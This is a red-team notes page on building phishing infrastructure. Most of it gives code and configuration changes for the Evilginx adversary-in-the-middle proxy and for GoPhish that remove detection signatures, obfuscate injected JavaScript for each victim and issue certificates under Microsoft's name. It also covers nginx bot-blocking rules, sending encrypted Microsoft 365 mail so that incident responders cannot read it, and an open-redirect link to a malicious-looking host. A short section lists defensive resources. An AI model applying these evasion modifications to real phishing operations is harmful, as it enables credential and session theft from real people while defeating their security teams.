Phishing/Red Team Engagement Infra
Phishing Blogs/Talks
- BHIS | How to Build a Phishing Engagement - Coding TTP's :
Red Team/Phishing Infra Automation
- https://github.com/dazzyddos/HSC24RedTeamInfra/blob/main/RedTeamInfraAutomation.pdf
- https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
Domain Purchase and Categorization Techniques
- Check for Expired Domain and Possibly purchase the good ones
- Domain Categorization
- Bluecoat/Symantec - https://sitereview.bluecoat.com/#/
- McAfee - https://www.trustedsource.org
- Palo Alto Wildfire - https://urlfiltering.paloaltonetworks.com
- Websense - https://csi.forcepoint.com & https://www.websense.com/content/SiteLookup.aspx (needs registration)
- FortiGuard - https://www.fortiguard.com/webfilter
- IBM X-force - https://exchange.xforce.ibmcloud.com
- Cyren - https://www.cyren.com/security-center/url-category-check-gate
- Checkpoint - https://www.checkpoint.com/urlcat/main.htm (needs registration)
- Trend Micro - https://global.sitesafety.trendmicro.com/
- Sophos - https://secure2.sophos.com/en-us/support/contact-support.aspx (submission only; no checking) (Click Submit a Sample -> Web Address)
- BrightCloud - http://www.brightcloud.com/tools/url-ip-lookup.php
- LightSpeed Systems - https://archive.lightspeedsystems.com/
- Automating Domain Reputation Checking/Submission
- Domainhunter: https://github.com/threatexpress/domainhunter
- Chameleon : https://github.com/mdsecactivebreach/Chameleon
Improve Phishing Email Writing Using Tools
- mgeeky : https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/phishing
- HTML-Linter (avoid common phishing email words) : https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/phishing/phishing-HTML-linter.py
- Decode-Spam-Headers : https://github.com/mgeeky/decode-spam-headers
Delivering Emails in Inbox
- Method -1
- Use SendGrid - http://sendgrid.com/
- useful service but honestly, You need Pro pain plan to be lucky not to be on a spamlist
- MailGun - https://app.mailgun.com/
- haven't had any problem
- Amazon AWS SES
- Use SendGrid - http://sendgrid.com/
- Method - 2 (By Andre Rosario - From BreakDev Red Discord)
- If you are having issues with delivering emails due to email filtering, consider using Microsoft 365 and Azure IPP to send encrypted emails to your targets!
- Emails originate from legit Microsoft SMTP servers so they can't block it.
- Targets who get the encrypted email are the only ones who can open it, if they forward it to their DFIR, they will have to login as that user to even see your message.
- Easy orchestration in the Microsoft Admin portal of custom domains, create a ton of fake accounts.
- M365 allows you to set arbitrary display names. So in a targets outlook the email can look like its from [email protected] but it's really from [email protected] (Technical people can easily figure this out though)
- Emails come from legit Microsoft IPs and domains, so you don't have to worry about domain categorization or lifespan since it's Microsoft.
- Steps
- Make an account with a Microsoft 365 Business Standard (or higher) license. (https://www.microsoft.com/en-us/microsoft-365/enterprise/office365-plans-and-pricing)
- Create a generic company name.
- Get a Azure Information Protection Premium P1 license to be able to use encryption. (https://support.microsoft.com/en-us...messages-373339cb-bf1a-4509-b296-802a39d801dc)
- Import your domain.
- Create a user with an email to your custom domain to send the phish and give it the M365 Business and Azure IPP P1 license.
- Draft your phishing message in Outlook online and press the encrypt button
- ????
- Profit
- Screenshot
- If you are having issues with delivering emails due to email filtering, consider using Microsoft 365 and Azure IPP to send encrypted emails to your targets!
- Random Tips to help getting emails in inbox.
- Have domain with good reputation , Check domain categorization
- Have a domain older than 1 year or use expireddomain
- Have valid DKIM, DMARC, and SPF.
- Mailgoose (check whether their SPF, DMARC and DKIM configuration is set up correctly) : https://github.com/CERT-Polska/mailgoose
- Add unsubscribe link in email
- Send benign emails first (May help with reputation)
- Have link in email with same domain which is being used to send email.
- Blogs/Talks/References
- Spy Pixel - Image Pixel to track emails : https://github.com/collinsmc23/spy-pixel
- EchoSpoofing : https://labs.guard.io/echospoofing-...nts-email-protection-to-dispatch-3dd6b5417db6
- Blackhat USA 2024 - Novel Email Spoofing Attack Patterns : https://github.com/onhexgroup/Conferences/blob/main/Black Hat USA 2024 slides/Hao Wang %26 Caleb Sargent %26 Harrison Pomeroy %26 Renana Friedlich_Into the Inbox Novel Email Spoofing Attack Patterns.pdf
Phishing Engagements With Evilginx
- Building Evilginx Phishlets
- Evilginx Mastery Course : https://academy.breakdev.org/evilginx-mastery
- Evilginx Docs : https://help.evilginx.com/
- Evilginx Phishlets Collections : https://github.com/An0nUD4Y/Evilginx2-Phishlets
- Evilginx Less Known Techniques : https://github.com/An0nUD4Y/Evilginx2-Phishlets?tab=readme-ov-file#some-less-known-techniques
- Evilginx Installation Scripts
- Securing Evilginx Infra tips -
- https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- Rewrite URLs on Phishing Pages to avoid detection through URL Path pattern matching (by Kuba).
- Remove IOCs (X-Evilginx header and Default Cert Details)
- Modify Unauth redirect static contents
- Change unauth_url from rickroll to something else
- Modify code to request wildcard certificates for root domain from Let'sEncrypt other than requesting for each subdomains (As mentioned in Kuba's blog) - Check this repo for reference <https://github.com/ss23/evilginx2>
- Put evilginx behind a proxy to help against TLS fingerprinting (JA3 and JA3S)
- Use cloudflare in between if possible/feasible (You have to configure the SSL Settings correctly, change it to Full in cloudflare settings)
- Use some known ASN blacklist to avoid getting detected like here (<https://github.com/aalex954/evilginx2-TTPs#ip-blacklist>)
- Reduce the Number of proxyhosts in phishlet if possible to reduce content loading time.
- Host Evilginx at Azure and use their domain (limit proxy host in phishlet to 1 or find a way , may be create multiple azure sub domains and try with that)
- Add some sub_filters to modify the content of the pages to avoid content based detections, like (Favicon, form title font or style, or anything which seems relevant)
- Block the feedback/telemetry/logs/analytics subdomains using the phishlet sub_filters which can log the domain or may help later on analysis.
- See if js-injected is static or dynamic , if static modify the evilginx js-inject code to create dynamic/obfuscated version of your js for each user/target.
- Make sure to not leak your Evilginx infra IP, Check the DNS history to make sure its not stored anywhere (Analysts may look for older DNS Records of the domain)
- Be aware of this research : <https://catching-transparent-phish.github.io/catching_transparent_phish.pdf> , repo - <https://catching-transparent-phish.github.io/>
- Remove X-Evilginx header (Check all the code lines with req.Header.Set and comment relevant functions in core/http_proxy.go file)
// comment line 469
req.Header.Set(p.getHomeDir(), o_host)
//comment line 659
req.Header.Set(p.getHomeDir(), o_host)
// comment function at line 1791-1793
func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}
// comment line 52-54
const (
HOME_DIR = ".evilginx"
)
- To Modify Unauth redirect static contents , Search for <html> in core/http_proxy.go file and modify the html code to remove any static signatures.
//replace this
body := fmt.Sprintf("<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='%s';</script></head><body></body></html>", rurl)
//to this
body := fmt.Sprintf("<html><head><meta content='no-referrer name='referrer'><script>if(window.self!='google.com'){top.location.href='%s';}</script></head><body></body></html>", rurl)
- Modify code to request wildcard certificates for root domain from Let'sEncrypt other than requesting for each subdomains.
- Also to avoid the static injected js code signature detection , you should modify the core/http_proxy.go file to obfuscate the injected js code for each user (using obfuscator.io)
- Replace function injectJavascriptIntoBody in core/http_proxy.go with below code.
type ObfuscatorResponse struct {
ObfuscatedCode string `json:"obfuscatedCode"`
}
apiURL := "<https://obfuscator.io/api/obfuscate>"
requestBody, err := json.Marshal(map[string]string{
"source": script,
})
if err != nil {
return "", err
}
resp, err := http.Post(apiURL, "application/json", bytes.NewBuffer(requestBody))
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
var obfuscatorResponse ObfuscatorResponse
err = json.Unmarshal(body, &obfuscatorResponse)
if err != nil {
return "", err
}
return obfuscatorResponse.ObfuscatedCode, nil
}
func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script string, src_url string) []byte {
js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
m_nonce := js_nonce_re.FindStringSubmatch(string(body))
js_nonce := ""
if m_nonce != nil {
js_nonce = " nonce=\\"" + m_nonce[1] + "\\""
}
re := regexp.MustCompile(`(?i)(<\\s*/body\\s*>)`)
var d_inject string
if script != "" {
obfuscatedScript, err := obfuscateJavaScript(script)
if err != nil {
log.Debug("Javascript obfuscation: Failed - (Using original javascript)")
obfuscatedScript = script // Fallback to original script
}
log.Debug("Javascript obfuscation: Success")
d_inject = "<script" + js_nonce + ">" + obfuscatedScript + "</script>\\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\\"application/javascript\\" src=\\"" + src_url + "\\"></script>\\n${1}"
} else {
return body
}
log.Debug("Javascript Injected...")
ret := []byte(re.ReplaceAllString(string(body), d_inject))
return ret
}
- Modify core/cert.db file as well
// line 129
Subject: pkix.Name{
Country: []string{},
Locality: []string{},
Organization: []string{"Evilginx Signature Trust Co."},
OrganizationalUnit: []string{},
CommonName: "Evilginx Super-Evil Root CA",
},
// line 296
Subject: pkix.Name{Organization: []string{"Evilginx Signature Trust Co."}},
- Change “rid” for gophish.
- Use Redirectors
- Use cloudflare turnstile as evilginx redirector and block bots.
- Obfuscate html/js based redirectors
- Change default lure url pattern which is random string of length 8.
// Line 728 in core/terminal.go file
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
- Rewrite URLs on Phishing Pages to avoid detection through URL Path pattern matching (by Kuba). [This Feature not available in evilginx Public Version, You have to implement it yourself.]
# Only Work in Evilginx Pro Version
# Similar functionality can be implemented in public version as well.
rewrite_urls:
trigger:
domains: ['www.linkedin.com']
paths: ['^/login$']
rewrite:
path: '/this/is/not/the/path/you/are/looking/for.php'
query:
{key:'a', value: 'HOW'}
{key:'b', value: 'MUCH'}
{key:'d', value: 'IS'}
{key:'e', value: 'THE'}
{key:'f', value: 'PHISH'}
{key:'q', value: '{id}'}
- https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- Evilginx/Phishing Research Blogs/Talks :
- A smooth sea never made a skilled phisherman - Kuba Gretzky (x33fc0n 2024) :
- How AitM phishing kits evade detection : https://pushsecurity.com/blog/how-aitm-phishing-kits-evade-detection/
- The triforce of initial Access : https://trustedsec.com/blog/the-triforce-of-initial-access
- Bobber : https://github.com/Flangvik/Bobber
- Bypassing Canary AiTM Detection : https://insights.spotit.be/2024/06/03/clipping-the-canarys-wings-bypassing-aitm-phishing-detections/
- Protect Evilginx using cloudflare and HTML obf : https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
- (Improve Evilginx email delivery trust) Adding SPF, DMARC, DKIM, MX records : https://fortbridge.co.uk/research/add-spf-dmarc-dkim-mx-records-evilginx/
- Phishing Tactics and OPSEC : https://mgeeky.tech/uploads/WarCon22 - Modern Initial Access and Evasion Tactics.pdf
- Evilginx + BITB + Evasion Tactics :
- Hook, Line and Phishlet - Conquering AD FS With Evilginx : https://research.aurainfosec.io/pentest/hook-line-and-phishlet/
- O365 Phishing Infrastructure - https://badoption.eu/blog/2023/12/03/PhishingInfra.html
- You Can’t See Me – Protecting Your Phishing Infrastructure : https://redsiege.com/blog/2024/01/you-cant-see-me-protecting-your-phishing-infrastructure/
- https://janbakker.tech/evilginx-resources-for-microsoft-365/
- Evilginx + BITB -
- Hook, Line and Sinker: Phishing Windows Hello for Business using Evilginx : https://medium.com/@yudasm/bypassing-windows-hello-for-business-for-phishing-181f2271dc02
- Phishing the resistant - Phishing for primary Refresh token in Microsoft Entra by Dirk Jan :
- X33fcon 2024 - https://youtu.be/Nh99d3YnpI4?si=Ltwus2PS0z97gf2R
- Like Shooting Phish in a Barrel - Bypassing Link Crawlers : ****https://posts.specterops.io/like-shooting-phish-in-a-barrel-926c1905bb4b
- Drink Like a Phish - How to Make Your Phishing Sites Blend In ****: https://posts.specterops.io/drink-like-a-phish-b9e91d0b5677
- Feeding the Phishes : ****https://posts.specterops.io/feeding-the-phishes-276c3579bba7
- https://posts.specterops.io/phish-out-of-water-aaeb677a5af3
- https://youtu.be/6jYZQKDlKco?si=cpfd4tWQ4V8ZAZaI
- https://posts.specterops.io/one-phish-two-phish-red-teams-spew-phish-1a2f02010ed7
Defense Tactics Against Evilginx
- Unravelling and Countering Adversary in the middle Phishing - X33fcon 2024 - https://youtu.be/-W-LxcbUxI4
- Using HoneyTokens to detect AiTM : https://zolder.io/using-honeytokens-to-detect-aitm-phishing-attacks-on-your-microsoft-365-tenant/
- Protect Against Modern Phishing : https://bleekseeks.com/blog/how-to-protect-against-modern-phishing-attacks
- https://www.youtube.com/watch?v=wTLB0Yh70_0
- Detecting evilginx using JA3, JA3S, JA4 fingerprinting (Check https://youtu.be/Nh99d3YnpI4?si=Ltwus2PS0z97gf2R for possible bypass techniques)
- JA4 Database : https://ja4db.com/
Securing GoPhish Infra
These modifications will also work in the latest evilginx + gophish version i.e evilginx3.3
- Tips : Use {{.URL}} parameter in phishing template while using with evilginx ( https://github.com/kgretzky/evilginx2/issues/1042#issuecomment-2052073864)
- Modifications in gophish source code and file structure to Secure the GoPhish Infra
- Remove X-Gophish instances ( X-Gophish-Contact , X-Gophish-Signature)
- Remove const ServerName= "gophish" and change it to const ServerName= "IGNORE" in file config/config.go
- Change the default Admin server port in config.json file.
- Modify Test Email Message Signatures, To avoid detection during SMTP Testing. Controllers > api > util.go
Controllers > api > util.go
models > testdata > email_request.go
models > testdata > email_request_test.go
models > testdata > maillog.go
models > testdata > maillog_test.go
models > testdata > smtp_test.go
- Change 404 response
- Add below custom function in controllers/phish.go file
func customNotFound(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Try again!", http.StatusNotFound)
}
- Now replace all instances of http.NotFound(w, r) to customNotFound(w, r)
- Add below custom function in controllers/phish.go file
- Remove robots.txt hardcoded response and modify it in file controllers/phish.go
- Modify the respective code in phish.go file to below one.
//Modified Response
// RobotsHandler prevents search engines, etc. from indexing phishing materials
func (ps *PhishingServer) RobotsHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "User-agent: *\\nDisallow: /*/*\\nDisallow: /.git/*")
}
- Modify the respective code in phish.go file to below one.
- Modify the “rid” GET Parameter in requests
- Make sure to modify all the instances of "rid" to something else.
- These are also present in evilginx3.3 source code , So make sure to modify there as well.
- For advance preventions, You can modify the static folder as well and rename it to something else, also rename the files inside it to avoid path based detection. Just do not forget to modify the relevance source code as well.
- Like images name , example : pixel.png , modify it to something else.
- Change the Certificate Properties in util/util.go file
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
//Organization: []string{"Gophish"},
Organization: []string{"Microsoft Corporation"},
},
- Use Nginx to proxy traffic through it to avoid any Golang Server Fingerprint
- service nginx start
- You need to change the gophish config.json to change the ports for http from 80 to 8080 and https from default to 60002, as shown below
{
"admin_server": {
"listen_url": "127.0.0.1:60002",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "127.0.0.1:8080",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
- Below configuration will block all requests with user agent containing “Bot” or “bot”
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass <http://backend>;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with "bot" or "Bot" in User-Agent
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
- To allow specific user agent only, use below config. This will block all requests and only allow requests which has user agent “iamdevil”.
# /etc/nginx/nginx.conf
events {
# Define event processing parameters here
worker_connections 1024; # Adjust according to your requirements
}
http {
upstream backend {
server localhost:8080;
}
# HTTP server
server {
listen 80 default_server;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass <http://backend>;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPS server
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# Reject requests with user agent other than "iamdevil"
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
- Modify Gophish Tracking Pixel signature to avoid detection based on signatured tracking pixel.
- Change the gophish email headers sequence pattern. It may be used to detect the gophish (From BreakDev Red Community).
- https://edermi.github.io/post/2021/modding_gophish/
- https://www.sprocketsecurity.com/re...-to-set-up-gophish-to-evade-security-controls
- https://cyberwarfare.live/wp-content/uploads/2023/08/OPSEC-on-the-High-Seas_-A-Gophish-Adventure.pdf
- https://www.sprocketsecurity.com/re...-to-set-up-gophish-to-evade-security-controls
- https://github.com/puzzlepeaches/sneaky_gophish
- https://cybercx.co.nz/blog/identifying-gophish-servers/
- https://github.com/gophish/gophish/issues/1553#issuecomment-523969887
Other Techniques
- For Abusing legit sites for Phishing : https://lots-project.com/
- BITB : https://mrd0x.com/browser-in-the-browser-phishing-attack/
- Frameless-bitb : https://github.com/waelmas/frameless-bitb
- Progressive Web Apps (PWA) Phishing : https://mrd0x.com/progressive-web-apps-pwa-phishing/
- noVNC Phishing : https://adepts.of0x.cc/novnc-phishing/
- MultiEvilnoVNC : https://blog.wanetty.com/blog/tools/multievilnovnc
- noVNC and Docker : https://powerseb.github.io/posts/Another-phishing-tool/
- EvilQR - QR Phishing
- NoPhish : https://github.com/powerseb/NoPhish and https://badoption.eu/blog/2023/07/12/entra_phish.html
- EvilGoPhish : https://github.com/fin3ss3g0d/evilgophish
- Smishing : https://blog.shared-video.mov/systematic-destruction-hacking-the-scammers-pt.-2
- Phishing With CloudFlare Workers
- Google Open Redirection for phishing
- https://untrustednetwork.net/en/2024/02/26/google-open-redirect/
- Open Redirect at : https://googleweblight.com/i?u=m4lici0u5.com
- More Can be found at : https://lots-project.com/
- Phishing Past Mail Protection Controls using Azure Information Protection
- https://nicolasuter.medium.com/aitm-phishing-with-azure-functions-a1530b52df05